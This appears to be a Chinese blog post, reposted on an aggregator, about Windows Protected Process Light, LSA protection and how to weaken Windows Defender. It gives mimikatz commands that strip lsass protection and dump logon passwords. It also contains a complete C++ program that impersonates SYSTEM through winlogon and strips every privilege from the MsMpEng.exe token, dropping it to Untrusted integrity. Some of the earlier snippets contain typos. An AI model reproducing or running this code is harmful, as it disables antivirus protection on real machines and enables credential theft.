WinDefender Weaker

PPL

Windows Vista / Server 2008引入 了受保护进程的概念,其目的不是保护您的数据或凭据。其最初目标是保护媒体内容并符合DRM (数字版权管理)要求。Microsoft开发了此机制,以便您的媒体播放器可以读取例如蓝光,同时 防止您复制其内容。当时的要求是映像文件(即可执行文件)必须使用特殊的Windows Media证 书进行数字签名(如Windows Internals的“受保护的过程”部分所述)。

在实践中,一个受保护的过程可通过未保护的过程仅具有非常有限的权限访问: PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_LIMITED_INFORMATION , PROCESS_TERMINATE 和 PROCESS_SUSPEND_RESUME 。对于某些高度敏感的过程,甚至可以减少 此设置。

从Windows 8.1 / Server 2012 R2开始,Microsoft引入了Protected Process Light的概 念。PPL实际上是对先前“受保护过程”模型的扩展,并添加了“保护级别”的概念,这基本上意味着 某些PP(L)进程可以比其他进程受到更多保护

进程保护的级别是会被添加到EPROCESS的内核结构中,并且具体存储再其Protection成员中。该protection成员是一个PS_PROTECTION结构

这个_PS_PROTECTION 结构如下,前3位代表保护 Type ,它定义过程是 PP 还是 PPL ,后4位代表 Signer 类 型,即实际的保护类型

typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;

对于这个结构来说,前3位代表保护 Type ,它定义过程是 PP 还是 PPL ,后4位代表 Signer 类 型,即实际的保护类型

typedef enum _PS_PROTECTED_TYPE {
	PsProtectedTypeNone = 0,
	PsProtectedTypeProtectedLight = 1,
	PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
	PsProtectedSignerNone = 0, // 0
	PsProtectedSignerAuthenticode, // 1
	PsProtectedSignerCodeGen, // 2
	PsProtectedSignerAntimalware, // 3
	PsProtectedSignerLsa, // 4
	PsProtectedSignerWindows, // 5
	PsProtectedSignerWinTcb, // 6
	PsProtectedSignerWinSystem, // 7
	PsProtectedSignerApp, // 8
	PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;

进程的保护级别就通过上面这两个值的组和来定义

在这里插入图片描述

由此,借助API ZwQueryInformationProcess 我们就可以判断进程的PPL保护等级

bool FindProcessProtect()
{
	PS_PROTECTION ProtectInfo = { 0 };
	NTSTATUS ntStatus = ZwQueryInformationProcess(NtCurrentProcess(),
	ProcessProtectionInformation, &ProtectInfo, sizeof(ProtectInfo), NULL);
	bool = false;
	bool Result2 = false;
	if (NT_SUCCESS(ntStatus))
	{
		Result1 = ProtectInfo.Type == PsProtectedTypeNone && ProtectInfo.Signer == PsProtectedSignerNone;
		PROCESS_EXTENDED_BASIC_INFORMATION ProcessExtenedInfo = { 0 };
		ntStatus = ZwQueryInformationProcess(NtCurrentProcess(),
		ProcessBasicInformation, &ProcessExtenedInfo, sizeof(ProcessExtenedInfo), NULL);
	if (NT_SUCCESS(ntStatus))
	{
        Result2 = ProcessExtenedInfo.IsProtectedProcess == false &&
		ProcessExtenedInfo.IsSecureProcess == false;
	}
	}
	return Result2 && Result1;
}
Pr.ProcessTypeSignerLevel
1wininit.exeProtected LightWinTcbPsProtectedSignerWinTcb-Light
2svchost.exeProtected LightLsaPsProtectedSignerWindows-Light
3MsMpEng.exeProtected LightAntimalwarePsProtectedSignerAntimalwareLight

上面的表中我们可以看见,PPL内部也是分级的

wininit.exe signer为WinTcb,它是 PPL 的最高可能值,那么它可以访问其他两个进程,然后, svchost.exe可以访问MsMpEng.exe,因为signer级别Lsa高于Antimalware,最后,MsMpEng.exe不 能访问其他两个进程,因为它具有最低级别,不能访问其他两个进程,因为它具有最低级别。

我们也可以去

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

LSA

LSA 即 RunAsPPL ,虽然 lsass 进程有 PPL ,微软为了防止非管理非 PPL 进程通过开放访问或篡改 PPL 进程中的代码和数据推出了 LSA ,但是在一般情况下是并没有启用的,有可能是防御方通过注册表打开了PPL,或者是EDR开了

这里我以我的win10虚拟机为例,可以看见这个lsass.exe进程是没有开启PPL保护的

在这里插入图片描述

这时候我们使用mimikaz,密码是可以正常抓到的

在这里插入图片描述

手动开启LSA的方法是,找到注册表里面的HKLM\SYSTEM\CurrentControlSet\Control\Lsa 然后添加一个 DWORD 值 RunAsPPL ,并把值从0改为1即可,之后重启电脑

在这里插入图片描述

这时候我们再次打开Processmonitor,可以看见PPL已经被加上了

在这里插入图片描述

这时候我们再去使用mimikaz抓密码,很明显,不行

在这里插入图片描述

我们可以去gitee上找到mimikaz的源码,看看是怎么定义这个错误的

在这里插入图片描述

可以看见这里也是使用OpenProcess来打开进程获得句柄,我们当然知道,这里低权限进程是没有办法打开高权限进程的

在这里插入图片描述

之后if分支判断如果是INVALID_HANDLE_VALUE那么进入else分支,通过GetLastError把错误码打印出来,也就是我们看见的0x000005

在这里插入图片描述

mimdrv.sys

mimikaz里面提供了mimidrv.sys来绕过,在加载之后就可以关闭LSA保护

!+
!procoessprotect /process:lsass.exe /remove
sekurlsa::logonpasswords

不过直到我复现的2024.10这个时间节点,这个驱动的证书已经被吊销

在这里插入图片描述

PPL Fault

这里搬一个2023年4月份的项目,主要PPL Killer实在太老,一般这些PPL绕过的工具在公开了之后,很快就会被相关安全人员写入规则

gabriellandau/PPLFault (github.com)

By Gabriel Landau at Elastic Security.

From PPLdump Is Dead. Long Live PPLdump! presented at Black Hat Asia 2023.

虽然现在应该是用不了了(正常打补丁的win),但是思路还是可以说一下

也是通过把WinTCb的ppl拿到,然后通过高权限(只要比Lsa高就行)

[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
 [+] Ready.  Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.

PPL medic

https://github.com/itm4n/PPLmedic

也是一个公开的项目,应该也是被杀软标记了

摘除Windows defender的令牌

这里要提一点,在Win Pc的版本中对Win Defender有补丁,所以测试环境移到Win Server 2019上进行

通过Process Hacker查看WIndows Defender的令牌,我们可以看见如下

在这里插入图片描述

我们可以看见Win Defender以System权限启动

在这里插入图片描述

SYSTEM 用户可以完全控制令牌,这意味着,除非有其他机制保护令牌,否则以 SYSTEM 身份运行的线 程可以修改令牌,但是在windows中并没有保护令牌的机制,在 Process Hacker中 我们可以看到定义 的完整性为6种

Untrusted – processes that are logged on anonymously are automatically designated
as Untrusted
    
Low – The Low integrity level is the level used by default for interaction with the
Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files
and processes associated with it are assigned the Low integrity level. Some folders,
such as the Temporary Internet Folder, are also assigned the Low integrity level by
default.
    
Medium – Medium is the context that most objects will run in. Standard users receive
the Medium integrity level, and any object not explicitly designated with a lower or
higher integrity level is Medium by default.
    
High – Administrators are granted the High integrity level. This ensures that
Administrators are capable of interacting with and modifying objects assigned Medium
or Low integrity levels, but can also act on other objects with a High integrity level,
which standard users can not do.
    
System – As the name implies, the System integrity level is reserved for the system.
The Windows kernel and core services are granted the System integrity level. Being
even higher than the High integrity level of Administrators protects these core
functions from being affected or compromised even by Administrators.
    
Installer – The Installer integrity level is a special case and is the highest of all integrity
levels. By virtue of being equal to or higher than all other WIC integrity levels, objects
assigned the Installer integrity level are also able to uninstall all other objects.

一般匿名登录的进程被自动指定为Untrusted

比如我们的浏览器,它在系统上执行一些特权操作时,实际上都不是浏览器本身执行,而是代理给到了其他非沙盒的进程来代表它来执行操作。如果在这种情况下沙盒进程被利用,那么其他它造成的损害就会比较有限,比如我们下载到了一些恶意软件,会很快被识别出来并被Win Defender隔离

在这里插入图片描述

简而言之,Untrusted的进程对计算机的操作非常有限

所以我们可以换一个思路,不一定要提升我们恶意软件的进程,也可以降低这些杀软的进程等级

实现

核心函数(微软是给了demo的,但是要稍微改一下,名字叫做在 C++ 中启用和禁用特权

BOOL SetPricilege(
	HANDLE hToken,
	LPCTSTR lpszPrivilege,
	BOOL bEnablePrivilege
)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
    //检索本地唯一标识符
	if(!LookupPrivilegeValue(
		NULL,
		lpszPrivilege,
      	&luid
	)){
        printf("LookupPricilegeValue Error:%d\n",GetLastError());
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if(bEnablePrivilege)//无论是否有bEnable标志,我们都设置特权标志为SE_PRIVILEGE_REMOVED,方便我们待会换掉原进程的令牌
        tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
    else
        tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL
    ))
    {
        printf("AdjustTokenPrivileges Error:%d\n",GetLastError());
        return FALSE;
    }
    //如果失败返回FALSE
    if(GetLastError() == ERROR_NOT_ALL_ASSIGNED){
        printf("The token does not have the specified privilege\n");
        return FALSE;
    }
}

上面用到的结构和函数,我也是边看边学

typedef struct _TOKEN_PRIVILEGES {
  DWORD               PrivilegeCount;
  LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
BOOL AdjustTokenPrivileges(
  [in]            HANDLE            TokenHandle,//包含要修改的权限的访问令牌的句柄。 句柄必须具有TOKEN_ADJUST_PRIVILEGES令牌的访问权限
  [in]            BOOL              DisableAllPrivileges,
  [in, optional]  PTOKEN_PRIVILEGES NewState,//指向 TOKEN_PRIVILEGES 结构的指针
  [in]            DWORD             BufferLength,//结构大小
  [out, optional] PTOKEN_PRIVILEGES PreviousState,
  [out, optional] PDWORD            ReturnLength
);
Return codeDescription
ERROR_SUCCESS函数调整了所有指定的特权
ERROR_NOT_ALL_ASSIGNED令牌不具有NewState参数中指定的一个或多个权限。即使没有调整特权,函数也可能成功执行此错误值。PreviousState参数指示已调整的权限。

提权函数,启用当前进程的SE_DEBUG_NAME 权限

bool EnableDebugPrivilege(){
	HANDLE hToken;
	LUID sedebugnameValue;
	TOKEN_PRIVILEGES tkp;
	if(!OpenProcessToken(GetCurrentProcess(),TOEKN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken)){
        printf("OpenProcessTokenError:%d\n",GetLastError());
        return FALSE;
    }
    if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue)){
        printf("LookupPrivilegeValue Error:%d\n",GetLastError());
        CloseHandle(hToken);
        return false;
    }
    tkp.PrivilegeCount = 1;
    tkp,Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL)){
        CloseHandle(hToken);
        printf("AdjustTokenPrivileges Error:%d\n",GetLastError());
        return false;
    }
}

上面用到的api

BOOL OpenProcessToken(
  [in]  HANDLE  ProcessHandle,//打开访问令牌的进程句柄
  [in]  DWORD   DesiredAccess,
  [out] PHANDLE TokenHandle//返回token的句柄
);

通过获取winlogon.exe这个进程的令牌,调用ImpersonateLoggedOnUser模拟系统用户获取权限

wchar_t  procname[80] = L"winlogon.exe";
	int pid = getpid(procname);
	HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
	HANDLE ptoken;
	OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE,
&ptoken);//拿到winlogon的权限
	if (ImpersonateLoggedOnUser(ptoken)) {
		printf("[*] Impersonated System!\n");
		}
	else {
		printf("[-] Failed to impersonate System...\n");
		}
CloseHandle(phandle);//防止泄漏
CloseHandle(ptoken);

在这之后,打开MsMpEng

LUID sedebugnameValue;
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);//也就是这里有补丁,目前貌似在新版win里面打不开这个进程
if (phandle != INVALID_HANDLE_VALUE) {
	printf("[*] Opened Target Handle\n");
}
else {
	printf("[-] Failed to open Process Handle\n");
}

这里的PROCESS_QUERY_LIMITED_INFORMATION对应我们OpenProcessToken需要的权限,不需要多拿

在这里插入图片描述

然后就是token的替换

BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);
if (token) {
	printf("[*] Opened Target Token Handle\n");
}
else {
	printf("[-] Failed to open Target Token Handle\n");
}
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
TOKEN_PRIVILEGES tkp;

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
printf("[-] Failed to Adjust Token's Privileges\n");
return 0;
}

之后调用SetPrivilege 将所有Token去掉

SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);

SECURITY_MANDATORY_UNTRUSTED_RID 是一个常量,用于表示一个不受信任的安全完整性级别

DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;

然后再将完整性设置为 Untrusted , Revision 为 SID_REVISION ,表示SID结构的版本号, SubAuthorityCount 为1,表示SID中子权限数组 SubAuthority 的元素数量, IdentifierAuthority.Value[5] 为16,表示用于表示完整性级别的标识符授权, SubAuthority[0] 为 integrityLevel ,表示进程的完整性级别,它是一个整数值

SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;

上面SID结构的定义

在这里插入图片描述

最后创建一个 TOKEN_MANDATORY_LABEL 结构体变量 tokenIntegrityLevel ,表示进程的安全令牌中的强制 完整性级别,然后通过 SetTokenInformation 将完整性设置为 Untrusted

TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(
	ptoken,
	TokenIntegrityLevel,
	&tokenIntegrityLevel,
	sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))

完整demo

#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <TlHelp32.h>
#include <conio.h>
bool EnableDebugPrivilege()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        CloseHandle(hToken);
        return false;
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(hToken);
        return false;
    }
    return true;
}
int getpid(LPCWSTR procname) {
    DWORD procPID = 0;
    LPCWSTR processName = L"";
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, procPID);
    if (Process32First(snapshot, &processEntry))
    {
        while (_wcsicmp(processName, procname) != 0)
        {
        Process32Next(snapshot, &processEntry);
        processName = processEntry.szExeFile;
        procPID = processEntry.th32ProcessID;
        }
        printf("[+] Got %ls PID: %d\n", procname, procPID);
    }
    return procPID;
    }
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
	printf("LookupPrivilegeValue error: %u\n", GetLastError());
	return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
    tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
else
    tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{
    printf("AdjustTokenPrivileges error: %u\n", GetLastError());
    return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
    printf("The token does not have the specified privilege\n");
    return FALSE;
}
	return TRUE;
}
int main(int argc, char** argv)
{
LUID sedebugnameValue;
EnableDebugPrivilege();
wchar_t procname[80] = L"winlogon.exe";
int pid = getpid(procname);
HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE ptoken;
OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE,&ptoken);
if (ImpersonateLoggedOnUser(ptoken)) {
    printf("[*] Impersonated System!\n");
}
else {
    printf("[-] Failed to impersonate System...\n");
}
CloseHandle(phandle);
CloseHandle(ptoken);
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
printf("[*] Bypass Defender...\n");
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {
    printf("[*] Opened Target Handle\n");
}
else {
    printf("[-] Failed to open Process Handle:%d\n", GetLastError());
}
BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);
if (token) {
    printf("[*] Opened Target Token Handle\n");
}
else {
    printf("[-] Failed to open Target Token Handle : %d\n", GetLastError());
}
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
    printf("[-] Failed to Adjust Token's Privileges\n");
    return 0;
}
    
SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
printf("[*] Removed All Privileges\n");
    
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;
    
TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(ptoken,TokenIntegrityLevel,&tokenIntegrityLevel,sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
{
	printf("SetTokenInformation failed\n");
}
else {
	printf("[*] Token Integrity set to Untrusted\n");
}
CloseHandle(ptoken);
CloseHandle(phandle);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/917589.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

centos7 升级openssl 与升级openssh 安装卸载 telnet-server

前言&#xff1a; 服务器被安全扫描&#xff0c;扫出了漏洞需要修复&#xff0c;根据提示将openssh升级为9.8p1的版本&#xff0c;同时需要升级openssl&#xff0c;但是升级openssh可能会导致ssh连接失败&#xff0c;从而无法继续操作&#xff0c;特别是远程机房尤为危险&#…

正则表达式完全指南,总结全面通俗易懂

目录 元字符 连接符 限定符 定位符 修饰符&#xff08;标记&#xff09; 运算符优先级 普通字符集及其替换 零宽断言 正向先行断言 负向先行断言 正向后发断言 负向后发断言 正则表达式在线测试: 正则在线测试工具 元字符 字符描述\d 匹配一个数字字符。等价于 …

知识库管理系统:企业数字化转型的加速器

在数字化转型的大潮中&#xff0c;知识库管理系统&#xff08;KBMS&#xff09;已成为企业提升效率和创新能力的关键工具。本文将探讨知识库管理系统的定义、企业建立知识库的必要性&#xff0c;以及如何快速搭建企业知识库。 知识库管理系统是什么&#xff1f; 知识库管理系统…

【珠海科技学院主办,暨南大学协办 | IEEE出版 | EI检索稳定 】2024年健康大数据与智能医疗国际会议(ICHIH 2024)

#IEEE出版|EI稳定检索#主讲嘉宾阵容强大&#xff01;多位外籍专家出席报告 2024健康大数据与智能医疗国际会议&#xff08;ICHIH 2024&#xff09;2024 International Conference on Health Big Data and Intelligent Healthcare 会议简介 2024健康大数据与智能医疗国际会议…

【软件测试】一个简单的自动化Java程序编写

文章目录 自动化自动化概念回归测试常见面试题 自动化测试金字塔 Web 自动化测试驱动 Selenium一个简单的自动化示例安装 selenium 库使⽤selenium编写代码 自动化 自动化概念 自动的代替人的行为完成操作。自动化在生活中处处可见 生活中的自动化可以减少人力的消耗&#x…

️️一篇快速上手 AJAX 异步前后端交互

AJAX 1. AJAX1.1 AJAX 简介1.2 AJAX 优缺点1.3 AJAX 前后端准备1.4 AJAX 请求基本操作1.5 AJAX 发送 POST 请求1.6 设置请求头1.7 响应 JSON 数据1.8 AJAX 请求超时与网络异常处理1.9 取消请求1.10 Fetch 发送 Ajax 请求 2. jQuery-Ajax2.1 jQuery 发送 Ajax 请求&#xff08;G…

【星海随笔】ZooKeeper-Mesos

开源的由 Twitter 与 伯克利分校的 Mesos 项目组共同研发设计。 两极调度架构 支持高可用集群&#xff0c;通过ZooKeeper进行选举。 Mesos master 管理着所有的 Mesos slave 守护进程 每个slave运行具体的任务或者服务。 Franework 包括的调度器和执行机两部分 执行器运行在Me…

计算机网络中的域名系统(DNS)及其优化技术

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 计算机网络中的域名系统&#xff08;DNS&#xff09;及其优化技术 计算机网络中的域名系统&#xff08;DNS&#xff09;及其优化…

Vulnhub靶场案例渗透[10]- Momentum2

文章目录 一、靶场搭建1. 靶场描述2. 下载靶机环境3. 靶场搭建 二、渗透靶场1. 确定靶机IP2. 探测靶场开放端口及对应服务3. 扫描网络目录结构4. 代码审计5. 反弹shell6. 提权 一、靶场搭建 1. 靶场描述 - Difficulty : medium - Keywords : curl, bash, code reviewThis wor…

如何在 Ubuntu 上安装 Emby 媒体服务器

Emby 是一个开源的媒体服务器解决方案&#xff0c;它能让你整理、流媒体播放和分享你的个人媒体收藏&#xff0c;包括电影、音乐、电视节目和照片。Emby 帮你集中多媒体内容&#xff0c;让你无论在家还是在外都能轻松访问。它还支持转码&#xff0c;让你能够播放各种格式的内容…

java作业项目以及azkaban的操作

参考内容&#xff1a; azkaban简介及azkaban部署、原理和使用介绍 1.在azkaban创建project 2.上传flow文件和project文件的压缩包 flow文件内容: nodes:- name: Testtype: commandconfig:command: java -jar /data/job/mtm-job-0.0.1-SNAPSHOT.jar --spring.profiles.activ…

2024-11-15 Element-ui的tab切换中table自适应宽度无法立即100%的问题

前言 今天在写一个统计图表的时候&#xff0c;将所有的table表格和echarts图表放到一个页面中&#xff0c;这样会在纵向上出现滚动条&#xff0c;上下滑动对用户体验不好&#xff0c;于是改成tab切换的形式 遇到的问题 正如标题所述&#xff0c;elementui在tab中使用table时&…

HarmonyOS 开发环境搭建

HarmonyOS&#xff08;鸿蒙操作系统&#xff09;作为一种面向全场景多设备的智能操作系统&#xff0c;正逐渐在市场上崭露头角。为了进入HarmonyOS生态&#xff0c;开发者需要搭建一个高效的开发环境。本文将详细介绍如何搭建HarmonyOS开发环境&#xff0c;特别是如何安装和配置…

Vue全栈开发旅游网项目(10)-用户管理后端接口开发

1.异步用户登录\登出接口开发 1.设计公共响应数据类型 文件地址&#xff1a;utils/response404.py from django.http import JsonResponseclass BadRequestJsonResponse(JsonResponse):status_code 400def __init__(self, err_list, *args, **kwargs):data {"error_c…

快速了解Memcached

快速了解Memcached 官方定义 Memcached 是一个高性能的分布式内存对象缓存系统&#xff0c;用于减轻数据库负载&#xff0c;通过在内存中缓存数据和对象来提高动态 web 应用程序的响应速度。 主要特点 简单高效&#xff1a;其设计理念就是简单&#xff0c;易于部署和使用。它是…

【Android、IOS、Flutter、鸿蒙、ReactNative 】启动页

Android 设置启动页 自定义 splash.xml 通过themes.xml配置启动页背景图 IOS 设置启动页 LaunchScreen.storyboard 设置为启动页 storyboard页面绘制 Assets.xcassets 目录下导入图片 AppLogo Flutter 设置启动页 Flutter Android 设置启动页 自定义 launch_background.xm…

【插件】多断言 插件pytest-assume

背景 assert 断言一旦失败&#xff0c;后续的断言不能被执行 有个插件&#xff0c;pytest-assume的插件&#xff0c;可以提供多断言的方式 安装 pip3 install pytest-assume用法 pytest.assume(表达式,f’提示message’) pytest.assume(表达式,f‘提示message’) pytest.ass…

DDRPHY数字IC后端设计实现系列专题之数字后端floorplanpowerplan设计

3.2.3 特殊单元的布局 布图阶段除了布置 I/O 单元和宏单元&#xff0c;在 28nm 制程工艺时&#xff0c;还需要处理两种特 殊的物理单元&#xff0c;Endcap 和 Tapcell。 DDRPHY数字IC后端设计实现系列专题之后端设计导入&#xff0c;IO Ring设计 &#xff08;1&#xff09;拐…

Java 全栈知识体系

包含: Java 基础, Java 部分源码, JVM, Spring, Spring Boot, Spring Cloud, 数据库原理, MySQL, ElasticSearch, MongoDB, Docker, k8s, CI&CD, Linux, DevOps, 分布式, 中间件, 开发工具, Git, IDE, 源码阅读&#xff0c;读书笔记, 开源项目...

【Docker系列】如何在 Docker 环境中部署和运行 One API

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…